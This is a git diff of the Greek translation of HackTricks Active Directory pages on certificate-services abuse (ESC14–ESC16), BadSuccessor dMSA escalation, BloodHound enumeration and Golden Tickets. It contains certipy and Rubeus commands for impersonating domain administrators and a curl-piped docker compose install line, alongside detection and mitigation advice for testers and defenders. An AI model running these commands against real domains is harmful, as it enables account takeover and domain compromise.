πρωτότυπου κειμένου. -Το ESC14 αντιμετωπίζει τις ευπάθειες που προκύπτουν από την "ασθενή ρητή αντιστοίχιση πιστοποιητικών", κυρίως μέσω της κακής χρήσης ή ανασφαλούς διαμόρφωσης του χαρακτηριστικού `altSecurityIdentities` σε λογαριασμούς χρηστών ή υπολογιστών του Active Directory. Αυτό το πολυτιμολόγιο χαρακτηριστικό επιτρέπει στους διαχειριστές να συσχετίζουν χειροκίνητα πιστοποιητικά X.509 με έναν λογαριασμό AD για σκοπούς αυθεντικοποίησης. Όταν είναι συμπληρωμένα, αυτές οι ρητές αντιστοιχίσεις μπορούν να παρακάμψουν τη λογική αντιστοίχισης πιστοποιητικών προεπιλογής, η οποία συνήθως βασίζεται σε UPN ή DNS ονόματα στο SAN του πιστοποιητικού, ή το SID που είναι ενσωματωμένο στην ασφάλεια `szOID_NTDS_CA_SECURITY_EXT`. +Η ESC14 αντιμετωπίζει τις ευπάθειες που προκύπτουν από την "ασθενή ρητή αντιστοίχιση πιστοποιητικών", κυρίως μέσω της κακής χρήσης ή ανασφαλούς διαμόρφωσης του χαρακτηριστικού `altSecurityIdentities` σε λογαριασμούς χρηστών ή υπολογιστών του Active Directory. Αυτό το πολυτιμολόγιο χαρακτηριστικό επιτρέπει στους διαχειριστές να συσχετίζουν χειροκίνητα πιστοποιητικά X.509 με έναν λογαριασμό AD για σκοπούς αυθεντικοποίησης. Όταν είναι συμπληρωμένο, αυτές οι ρητές αντιστοιχίσεις μπορούν να παρακάμψουν τη λογική αντιστοίχισης πιστοποιητικών από προεπιλογή, η οποία συνήθως βασίζεται σε UPN ή DNS ονόματα στο SAN του πιστοποιητικού, ή το SID που είναι ενσωματωμένο στην ασφάλεια `szOID_NTDS_CA_SECURITY_EXT`. Μια "ασθενής" αντιστοίχιση συμβαίνει όταν η συμβολοσειρά που χρησιμοποιείται μέσα στο χαρακτηριστικό `altSecurityIdentities` για να προσδιορίσει ένα πιστοποιητικό είναι πολύ ευρεία, εύκολα μαντεύσιμη, βασίζεται σε μη μοναδικά πεδία πιστοποιητικού ή χρησιμοποιεί εύκολα παραποιήσιμα στοιχεία πιστοποιητικού. Εάν ένας επιτιθέμενος μπορέσει να αποκτήσει ή να κατασκευάσει ένα πιστοποιητικό των χαρακτηριστικών του οποίου ταιριάζουν με μια τέτοια ασθενώς καθορισμένη ρητή αντιστοίχιση για έναν προνομιακό λογαριασμό, μπορεί να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως και να προσποιηθεί αυτόν τον λογαριασμό. -Παραδείγματα πιθανώς ασθενών συμβολοσειρών αντιστοίχισης `altSecurityIdentities` περιλαμβάνουν: +Παραδείγματα πιθανών ασθενών συμβολοσειρών αντιστοίχισης `altSecurityIdentities` περιλαμβάνουν: - Αντιστοίχιση αποκλειστικά με ένα κοινό Όνομα Κοινής Θέματος (CN): π.χ., `X509:CN=SomeUser`. Ένας επιτιθέμενος μπορεί να είναι σε θέση να αποκτήσει ένα πιστοποιητικό με αυτό το CN από μια λιγότερο ασφαλή πηγή. - Χρήση υπερβολικά γενικών Διακριτικών Ονομάτων Εκδότη (DNs) ή Ονομάτων Θέματος χωρίς περαιτέρω προσδιορισμό όπως ένας συγκεκριμένος αριθμός σειράς ή αναγνωριστικό κλειδιού θέματος: π.χ., `X509:CN=SomeInternalCACN=GenericUser`. -- Χρήση άλλων προβλέψιμων προτύπων ή μη κρυπτογραφικών αναγνωριστικών που ένας επιτιθέμενος μπορεί να είναι σε θέση να ικανοποιήσει σε ένα πιστοποιητικό που μπορεί να αποκτήσει νόμιμα ή να παραποιήσει (αν έχει παραβιάσει μια CA ή έχει βρει ένα ευάλωτο πρότυπο όπως στο ESC1). +- Χρήση άλλων προβλέψιμων προτύπων ή μη κρυπτογραφικών αναγνωριστικών που ένας επιτιθέμενος μπορεί να είναι σε θέση να ικανοποιήσει σε ένα πιστοποιητικό που μπορεί να αποκτήσει νόμιμα ή να παραποιήσει (εάν έχει παραβιάσει μια CA ή έχει βρει ένα ευάλωτο πρότυπο όπως στην ESC1). Το χαρακτηριστικό `altSecurityIdentities` υποστηρίζει διάφορες μορφές για την αντιστοίχιση, όπως: - `X509:IssuerDNSubjectDN` (αντιστοιχεί με πλήρες DN Εκδότη και Θέματος) -- `X509:SubjectKeyIdentifier` (αντιστοιχεί με την τιμή του αναγνωριστικού κλειδιού θέματος του πιστοποιητικού) +- `X509:SubjectKeyIdentifier` (αντιστοιχεί με την τιμή του επεκταμένου αναγνωριστικού κλειδιού θέματος του πιστοποιητικού) - `X509:SerialNumberBackedByIssuerDN` (αντιστοιχεί με αριθμό σειράς, έμμεσα προσδιορισμένο από το DN Εκδότη) - αυτή δεν είναι τυπική μορφή, συνήθως είναι `IssuerDNSerialNumber`. - `X509:EmailAddress` (αντιστοιχεί με ένα όνομα RFC822, συνήθως μια διεύθυνση email, από το SAN) - `X509:Thumbprint-of-Raw-PublicKey` (αντιστοιχεί με ένα SHA1 hash του ακατέργαστου δημόσιου κλειδιού του πιστοποιητικού - γενικά ισχυρό) -Η ασφάλεια αυτών των αντιστοιχίσεων εξαρτάται σε μεγάλο βαθμό από την ειδικότητα, μοναδικότητα και κρυπτογραφική ισχύ των επιλεγμένων αναγνωριστικών πιστοποιητικού που χρησιμοποιούνται στη συμβολοσειρά αντιστοίχισης. Ακόμα και με ισχυρούς τρόπους δέσμευσης πιστοποιητικών ενεργοποιημένους σε Domain Controllers (οι οποίοι επηρεάζουν κυρίως τις έμμεσες αντιστοιχίσεις που βασίζονται σε SAN UPNs/DNS και την επέκταση SID), μια κακώς διαμορφωμένη είσοδος `altSecurityIdentities` μπορεί να παρουσιάσει ακόμα έναν άμεσο δρόμο για παραποίηση αν η λογική αντιστοίχισης είναι ελαττωματική ή πολύ επιεικής. +Η ασφάλεια αυτών των αντιστοιχίσεων εξαρτάται σε μεγάλο βαθμό από την ειδικότητα, μοναδικότητα και κρυπτογραφική ισχύ των επιλεγμένων αναγνωριστικών πιστοποιητικού που χρησιμοποιούνται στη συμβολοσειρά αντιστοίχισης. Ακόμα και με ισχυρούς τρόπους δέσμευσης πιστοποιητικών ενεργοποιημένους σε Domain Controllers (οι οποίοι επηρεάζουν κυρίως τις έμμεσες αντιστοιχίσεις που βασίζονται σε SAN UPNs/DNS και την επέκταση SID), μια κακώς διαμορφωμένη είσοδος `altSecurityIdentities` μπορεί να παρουσιάσει ακόμα έναν άμεσο δρόμο για παραποίηση εάν η λογική αντιστοίχισης είναι ελαττωματική ή πολύ επιεικής. ### Σενάριο Κατάχρησης -Το ESC14 στοχεύει τις **ρητές αντιστοιχίσεις πιστοποιητικών** στο Active Directory (AD), συγκεκριμένα το χαρακτηριστικό `altSecurityIdentities`. Εάν αυτό το χαρακτηριστικό είναι ρυθμισμένο (σκόπιμα ή λόγω κακής διαμόρφωσης), οι επιτιθέμενοι μπορούν να προσποιηθούν λογαριασμούς παρουσιάζοντας πιστοποιητικά που ταιριάζουν με την αντιστοίχιση. +Η ESC14 στοχεύει τις **ρητές αντιστοιχίσεις πιστοποιητικών** στο Active Directory (AD), συγκεκριμένα το χαρακτηριστικό `altSecurityIdentities`. Εάν αυτό το χαρακτηριστικό είναι ρυθμισμένο (σκόπιμα ή λόγω κακής διαμόρφωσης), οι επιτιθέμενοι μπορούν να προσποιηθούν λογαριασμούς παρουσιάζοντας πιστοποιητικά που ταιριάζουν με την αντιστοίχιση. #### Σενάριο A: Ο Επιτιθέμενος Μπορεί να Γράψει στο `altSecurityIdentities` @@ -710,10 +712,10 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target - **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή αντιστοίχιση X509RFC822 στο `altSecurityIdentities`. Ένας επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα email του θύματος ώστε να ταιριάζει με το όνομα X509RFC822 του στοχευόμενου, να εγγραφεί ένα πιστοποιητικό ως το θύμα και να το χρησιμοποιήσει για να αυθεντικοποιηθεί ως ο στοχευόμενος. #### Σενάριο C: Ο Στοχευόμενος Έχει Αντιστοίχιση X509IssuerSubject -- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509IssuerSubject στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν θύμα για να ταιριάζει με το θέμα της αντιστοίχισης X509IssuerSubject του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος. +- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509IssuerSubject στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν κύριο θύμα ώστε να ταιριάζει με το θέμα της αντιστοίχισης X509IssuerSubject του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος. #### Σενάριο D: Ο Στοχευόμενος Έχει Αντιστοίχιση X509SubjectOnly -- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509SubjectOnly στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν θύμα για να ταιριάζει με το θέμα της αντιστοίχισης X509SubjectOnly του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος. +- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509SubjectOnly στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν κύριο θύμα ώστε να ταιριάζει με το θέμα της αντιστοίχισης X509SubjectOnly του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος. ### Συγκεκριμένες Λειτουργίες #### Σενάριο A @@ -733,7 +735,7 @@ certutil -MergePFX .\esc13.pem .\esc13.pfx ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Για πιο συγκεκριμένες μεθόδους επίθεσης σε διάφορα σενάρια επίθεσης, παρακαλώ ανατρέξτε στο εξής: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Για πιο συγκεκριμένες μεθόδους επίθεσης σε διάφορα σενάρια επίθεσης, παρακαλώ ανατρέξτε στα εξής: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). ## EKUwu Application Policies(CVE-2024-49019) - ESC15 @@ -741,7 +743,7 @@ Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,D Η περιγραφή στο https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc είναι εξαιρετικά λεπτομερής. Παρακάτω παρατίθεται ένα απόσπασμα του πρωτότυπου κειμένου. -Χρησιμοποιώντας τα ενσωματωμένα πρότυπα πιστοποιητικών έκδοσης 1, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα CSR που να περιλαμβάνει πολιτικές εφαρμογής που προτιμώνται σε σχέση με τα καθορισμένα χαρακτηριστικά Extended Key Usage που αναφέρονται στο πρότυπο. Η μόνη απαίτηση είναι τα δικαιώματα εγγραφής, και μπορεί να χρησιμοποιηθεί για τη δημιουργία πιστοποιητικών αυθεντικοποίησης πελάτη, πράκτορα αιτήσεων πιστοποιητικών και πιστοποιητικών υπογραφής κώδικα χρησιμοποιώντας το **_WebServer_** πρότυπο. +Χρησιμοποιώντας ενσωματωμένα πρότυπα πιστοποιητικών έκδοσης 1, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα CSR που να περιλαμβάνει πολιτικές εφαρμογής που προτιμώνται σε σχέση με τα καθορισμένα χαρακτηριστικά Extended Key Usage που αναφέρονται στο πρότυπο. Η μόνη απαίτηση είναι τα δικαιώματα εγγραφής, και μπορεί να χρησιμοποιηθεί για τη δημιουργία πιστοποιητικών αυθεντικοποίησης πελάτη, πράκτορα αιτήσεων πιστοποιητικών και πιστοποιητικών υπογραφής κώδικα χρησιμοποιώντας το **_WebServer_** πρότυπο. ### Κατάχρηση @@ -753,7 +755,7 @@ certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` #### Scenario A: Direct Impersonation via Schannel -**Step 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Attacker `attacker@corp.local` targets `administrator@corp.local` using the "WebServer" V1 template (which allows enrollee-supplied subject). +**Step 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Attacker `attacker@corp.local` targets `administrator@corp.local` using the "WebServer" V1 template (που επιτρέπει την παροχή υποκειμένου από τον εγγραφέα). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -808,7 +810,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ### Abuse -Το παρακάτω αναφέρεται σε [αυτό το σύνδεσμο](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Κάντε κλικ για να δείτε περισσότερες λεπτομέρειες σχετικά με τις μεθόδους χρήσης. +Το παρακάτω αναφέρεται σε [αυτό το σύνδεσμο](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Κάντε κλικ για να δείτε περισσότερες λεπτομερείς μεθόδους χρήσης. Για να προσδιορίσετε εάν το περιβάλλον των Υπηρεσιών Πιστοποίησης Active Directory (AD CS) είναι ευάλωτο σε **ESC16** ```bash @@ -863,11 +865,11 @@ certipy auth \ ### Σπάσιμο Δεσμών Δασών από Συμβιβασμένες CA -Η ρύθμιση για **cross-forest enrollment** είναι σχετικά απλή. Το **root CA certificate** από το δάσος πόρων **δημοσιεύεται στα δάση λογαριασμών** από τους διαχειριστές, και τα **enterprise CA** πιστοποιητικά από το δάσος πόρων **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε δάσος λογαριασμού**. Για να διευκρινιστεί, αυτή η ρύθμιση παρέχει στον **CA στο δάσος πόρων πλήρη έλεγχο** σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Εάν αυτή η CA **συμβιβαστεί από επιτιθέμενους**, τα πιστοποιητικά για όλους τους χρήστες και στα δύο δάση, πόρων και λογαριασμών, θα μπορούσαν να **παραποιηθούν από αυτούς**, σπάζοντας έτσι το όριο ασφαλείας του δάσους. +Η ρύθμιση για **cross-forest enrollment** είναι σχετικά απλή. Το **root CA certificate** από το δάσος πόρων **δημοσιεύεται στα δάση λογαριασμών** από τους διαχειριστές, και τα **enterprise CA** πιστοποιητικά από το δάσος πόρων **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε δάσος λογαριασμού**. Για να διευκρινιστεί, αυτή η ρύθμιση παρέχει στον **CA στο δάσος πόρων πλήρη έλεγχο** σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Εάν αυτή η CA **συμβιβαστεί από επιτιθέμενους**, πιστοποιητικά για όλους τους χρήστες και στα δύο δάση, πόρων και λογαριασμών, θα μπορούσαν να **κατασκευαστούν από αυτούς**, σπάζοντας έτσι το όριο ασφαλείας του δάσους. ### Δικαιώματα Εγγραφής που Χορηγούνται σε Ξένους Πρίγκιπες -Σε περιβάλλοντα πολλών δασών, απαιτείται προσοχή όσον αφορά τις Enterprise CA που **δημοσιεύουν πρότυπα πιστοποιητικών** που επιτρέπουν στους **Authenticated Users ή ξένους πρίγκιπες** (χρήστες/ομάδες εξωτερικοί στο δάσος στο οποίο ανήκει η Enterprise CA) **δικαιώματα εγγραφής και επεξεργασίας**.\ +Σε περιβάλλοντα πολλών δασών, απαιτείται προσοχή όσον αφορά τις Enterprise CA που **δημοσιεύουν πρότυπα πιστοποιητικών** που επιτρέπουν **Authenticated Users ή ξένους πρίγκιπες** (χρήστες/ομάδες εξωτερικές στο δάσος στο οποίο ανήκει η Enterprise CA) **δικαιώματα εγγραφής και επεξεργασίας**.\ Μετά την αυθεντικοποίηση μέσω ενός δεσμού, το **Authenticated Users SID** προστίθεται στο διακριτικό του χρήστη από το AD. Έτσι, εάν ένα domain διαθέτει μια Enterprise CA με ένα πρότυπο που **επιτρέπει δικαιώματα εγγραφής στους Authenticated Users**, ένα πρότυπο θα μπορούσε ενδεχομένως να **εγγραφεί από έναν χρήστη από ένα διαφορετικό δάσος**. Ομοίως, εάν **τα δικαιώματα εγγραφής χορηγούνται ρητά σε έναν ξένο πρίγκιπα από ένα πρότυπο**, δημιουργείται μια **σχέση ελέγχου πρόσβασης μεταξύ δασών**, επιτρέποντας σε έναν πρίγκιπα από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**. Και οι δύο περιπτώσεις οδηγούν σε μια **αύξηση της επιφάνειας επίθεσης** από το ένα δάσος στο άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσουν επιπλέον προνόμια σε ένα ξένο domain. diff --git a/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md b/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md index 3b5f48951..20ac3f4e3 100644 --- a/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md +++ b/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md @@ -9,16 +9,16 @@ Delegated Managed Service Accounts (**dMSA**) είναι ο επόμενης γ * **`msDS-ManagedAccountPrecededByLink`** – *DN link* στον υπερκείμενο (παλιό) λογαριασμό. * **`msDS-DelegatedMSAState`** – κατάσταση μετανάστευσης (`0` = καμία, `1` = σε εξέλιξη, `2` = *ολοκληρωμένη*). -Εάν ένας επιτιθέμενος μπορεί να δημιουργήσει **οποιοδήποτε** dMSA μέσα σε ένα OU και να χειριστεί άμεσα αυτά τα 2 χαρακτηριστικά, οι LSASS & KDC θα θεωρήσουν το dMSA ως *διάδοχο* του συνδεδεμένου λογαριασμού. Όταν ο επιτιθέμενος στη συνέχεια αυθεντικοποιείται ως dMSA **κληρονομεί όλα τα δικαιώματα του συνδεδεμένου λογαριασμού** – έως **Domain Admin** αν ο λογαριασμός Διαχειριστή είναι συνδεδεμένος. +Εάν ένας επιτιθέμενος μπορεί να δημιουργήσει **οποιοδήποτε** dMSA μέσα σε μια OU και να χειριστεί άμεσα αυτά τα 2 χαρακτηριστικά, οι LSASS & KDC θα θεωρήσουν το dMSA ως *διάδοχο* του συνδεδεμένου λογαριασμού. Όταν ο επιτιθέμενος στη συνέχεια αυθεντικοποιείται ως dMSA **κληρονομεί όλα τα δικαιώματα του συνδεδεμένου λογαριασμού** – έως **Domain Admin** αν ο λογαριασμός Administrator είναι συνδεδεμένος. Αυτή η τεχνική ονομάστηκε **BadSuccessor** από την Unit 42 το 2025. Στη στιγμή της συγγραφής **δεν είναι διαθέσιμο** κανένα security patch; μόνο η σκληροποίηση των αδειών OU μετριάζει το ζήτημα. ### Attack prerequisites -1. Ένας λογαριασμός που είναι *επιτρεπτός* να δημιουργεί αντικείμενα μέσα σε **μια Οργανωτική Μονάδα (OU)** *και* έχει τουλάχιστον ένα από: +1. Ένας λογαριασμός που *επιτρέπεται* να δημιουργεί αντικείμενα μέσα σε **μια Οργανωτική Μονάδα (OU)** *και* έχει τουλάχιστον ένα από τα εξής: * `Create Child` → **`msDS-DelegatedManagedServiceAccount`** object class * `Create Child` → **`All Objects`** (γενική δημιουργία) -2. Δικτύωση με LDAP & Kerberos (τυπικό σενάριο συνδεδεμένου τομέα / απομακρυσμένη επίθεση). +2. Δικτυακή συνδεσιμότητα με LDAP & Kerberos (τυπικό σενάριο συνδεδεμένου τομέα / απομακρυσμένη επίθεση). ## Enumerating Vulnerable OUs @@ -66,36 +66,37 @@ Rubeus ptt /ticket: # Access Domain Admin resources dir \\DC01\C$ ``` -## Detection & Hunting +## Ανίχνευση & Κυνήγι Ενεργοποιήστε την **Επιθεώρηση Αντικειμένων** σε OUs και παρακολουθήστε τα εξής Windows Security Events: -* **5137** – Δημιουργία του **dMSA** αντικειμένου +* **5137** – Δημιουργία του αντικειμένου **dMSA** * **5136** – Τροποποίηση του **`msDS-ManagedAccountPrecededByLink`** * **4662** – Συγκεκριμένες αλλαγές χαρακτηριστικών * GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919` → `msDS-DelegatedMSAState` * GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1` → `msDS-ManagedAccountPrecededByLink` * **2946** – Έκδοση TGT για το dMSA -Η συσχέτιση `4662` (τροποποίηση χαρακτηριστικού), `4741` (δημιουργία υπολογιστή/λογαριασμού υπηρεσίας) και `4624` (επόμενη σύνδεση) επισημαίνει γρήγορα τη δραστηριότητα BadSuccessor. Οι λύσεις XDR όπως το **XSIAM** περιλαμβάνουν έτοιμες προς χρήση ερωτήσεις (βλ. αναφορές). +Η συσχέτιση `4662` (τροποποίηση χαρακτηριστικών), `4741` (δημιουργία υπολογιστή/λογαριασμού υπηρεσίας) και `4624` (επόμενη σύνδεση) επισημαίνει γρήγορα τη δραστηριότητα BadSuccessor. Οι λύσεις XDR όπως το **XSIAM** περιλαμβάνουν έτοιμες προς χρήση ερωτήσεις (βλ. αναφορές). -## Mitigation +## Μετριασμός -* Εφαρμόστε την αρχή της **ελάχιστης προνομίας** – αναθέστε τη διαχείριση *Λογαριασμού Υπηρεσίας* μόνο σε αξιόπιστους ρόλους. +* Εφαρμόστε την αρχή της **ελάχιστης εξουσίας** – μόνο αναθέστε τη διαχείριση *Λογαριασμού Υπηρεσίας* σε αξιόπιστους ρόλους. * Αφαιρέστε το `Create Child` / `msDS-DelegatedManagedServiceAccount` από OUs που δεν το απαιτούν ρητά. * Παρακολουθήστε τα IDs γεγονότων που αναφέρονται παραπάνω και ειδοποιήστε για *μη-Tier-0* ταυτότητες που δημιουργούν ή επεξεργάζονται dMSAs. -## See also +## Δείτε επίσης + {{#ref}} golden-dmsa-gmsa.md {{#endref}} -## References +## Αναφορές -- [Unit42 – When Good Accounts Go Bad: Exploiting Delegated Managed Service Accounts](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/) +- [Unit42 – Όταν οι Καλοί Λογαριασμοί Γίνονται Κακοί: Εκμετάλλευση των Αντιπροσωπευτικών Λογαριασμών Υπηρεσίας](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/) - [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor) -- [BadSuccessor.ps1 – Pentest-Tools-Collection](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1) +- [BadSuccessor.ps1 – Συλλογή Εργαλείων Pentest](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1) - [NetExec BadSuccessor module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md index 7d53e93e9..858104177 100644 --- a/src/windows-hardening/active-directory-methodology/bloodhound.md +++ b/src/windows-hardening/active-directory-methodology/bloodhound.md @@ -2,33 +2,34 @@ {{#include ../../banners/hacktricks-training.md}} + {{#ref}} adws-enumeration.md {{#endref}} -> ΣΗΜΕΙΩΣΗ: Αυτή η σελίδα ομαδοποιεί μερικά από τα πιο χρήσιμα εργαλεία για **καταμέτρηση** και **οπτικοποίηση** σχέσεων Active Directory. Για συλλογή μέσω του stealthy **Active Directory Web Services (ADWS)** καναλιού, ελέγξτε την αναφορά παραπάνω. +> ΣΗΜΕΙΩΣΗ: Αυτή η σελίδα ομαδοποιεί μερικά από τα πιο χρήσιμα εργαλεία για **enumerate** και **visualise** τις σχέσεις του Active Directory. Για συλλογή μέσω του stealthy **Active Directory Web Services (ADWS)** καναλιού, ελέγξτε την αναφορά παραπάνω. --- ## AD Explorer -[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) (Sysinternals) είναι ένας προηγμένος **θεατής & επεξεργαστής AD** που επιτρέπει: +[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) (Sysinternals) είναι ένας προηγμένος **AD viewer & editor** που επιτρέπει: -* GUI περιήγηση του δέντρου καταλόγου -* Επεξεργασία χαρακτηριστικών αντικειμένων & περιγραφών ασφαλείας -* Δημιουργία / σύγκριση στιγμιότυπων για ανάλυση εκτός σύνδεσης +* GUI browsing του δέντρου καταλόγου +* Επεξεργασία χαρακτηριστικών αντικειμένων & ασφάλειας +* Δημιουργία / σύγκριση στιγμιότυπων για offline ανάλυση -### Γρήγορη χρήση +### Quick usage 1. Ξεκινήστε το εργαλείο και συνδεθείτε στο `dc01.corp.local` με οποιαδήποτε διαπιστευτήρια τομέα. -2. Δημιουργήστε ένα στιγμιότυπο εκτός σύνδεσης μέσω `File ➜ Create Snapshot`. +2. Δημιουργήστε ένα offline στιγμιότυπο μέσω `File ➜ Create Snapshot`. 3. Συγκρίνετε δύο στιγμιότυπα με `File ➜ Compare` για να εντοπίσετε αποκλίσεις δικαιωμάτων. --- ## ADRecon -[ADRecon](https://github.com/adrecon/ADRecon) εξάγει ένα μεγάλο σύνολο αντικειμένων από έναν τομέα (ACLs, GPOs, trusts, CA templates …) και παράγει μια **έκθεση Excel**. +[ADRecon](https://github.com/adrecon/ADRecon) εξάγει ένα μεγάλο σύνολο αντικειμένων από έναν τομέα (ACLs, GPOs, trusts, CA templates …) και παράγει μια **Excel report**. ```powershell # On a Windows host in the domain PS C:\> .\ADRecon.ps1 -OutputDir C:\Temp\ADRecon @@ -46,9 +47,9 @@ curl -L https://ghst.ly/getbhce | docker compose -f - up ``` ### Collectors -* `SharpHound.exe` / `Invoke-BloodHound` – εγγενής ή παραλλαγή PowerShell -* `AzureHound` – καταμέτρηση Azure AD -* **SoaPy + BOFHound** – συλλογή ADWS (δείτε τον σύνδεσμο στην κορυφή) +* `SharpHound.exe` / `Invoke-BloodHound` – εγγενής ή PowerShell παραλλαγή +* `AzureHound` – Azure AD καταμέτρηση +* **SoaPy + BOFHound** – ADWS συλλογή (δείτε τον σύνδεσμο στην κορυφή) #### Κοινές λειτουργίες SharpHound ```powershell diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index ec8aaf490..50b9f0634 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Σε αυτό το σενάριο, ένας εξωτερικός τομέας σας εμπιστεύεται (ή και οι δύο εμπιστεύονται ο ένας τον άλλον), οπότε μπορείτε να αποκτήσετε κάποια πρόσβαση σε αυτόν. +Σε αυτό το σενάριο, ένας εξωτερικός τομέας σας εμπιστεύεται (ή και οι δύο σας εμπιστεύονται ο ένας τον άλλον), οπότε μπορείτε να αποκτήσετε κάποια πρόσβαση σε αυτόν. ## Καταμέτρηση diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index d394f86d0..45f6781aa 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -6,9 +6,9 @@ Μια **επίθεση Golden Ticket** συνίσταται στη **δημιουργία ενός νόμιμου Ticket Granting Ticket (TGT) που προσποιείται οποιονδήποτε χρήστη** μέσω της χρήσης του **NTLM hash του λογαριασμού krbtgt του Active Directory (AD)**. Αυτή η τεχνική είναι ιδιαίτερα πλεονεκτική διότι **επιτρέπει την πρόσβαση σε οποιαδήποτε υπηρεσία ή μηχάνημα** εντός του τομέα ως ο προσποιούμενος χρήστης. Είναι κρίσιμο να θυμόμαστε ότι τα **διαπιστευτήρια του λογαριασμού krbtgt δεν ενημερώνονται ποτέ αυτόματα**. -Για να **αποκτηθεί το NTLM hash** του λογαριασμού krbtgt, μπορούν να χρησιμοποιηθούν διάφορες μέθοδοι. Μπορεί να εξαχθεί από τη **Διαδικασία Υποσυστήματος Τοπικής Ασφάλειας (LSASS)** ή το **αρχείο NT Directory Services (NTDS.dit)** που βρίσκεται σε οποιονδήποτε Domain Controller (DC) εντός του τομέα. Επιπλέον, **η εκτέλεση μιας επίθεσης DCsync** είναι μια άλλη στρατηγική για την απόκτηση αυτού του NTLM hash, η οποία μπορεί να πραγματοποιηθεί χρησιμοποιώντας εργαλεία όπως το **lsadump::dcsync module** στο Mimikatz ή το **secretsdump.py script** από το Impacket. Είναι σημαντικό να τονιστεί ότι για να εκτελούνται αυτές οι λειτουργίες, **συνήθως 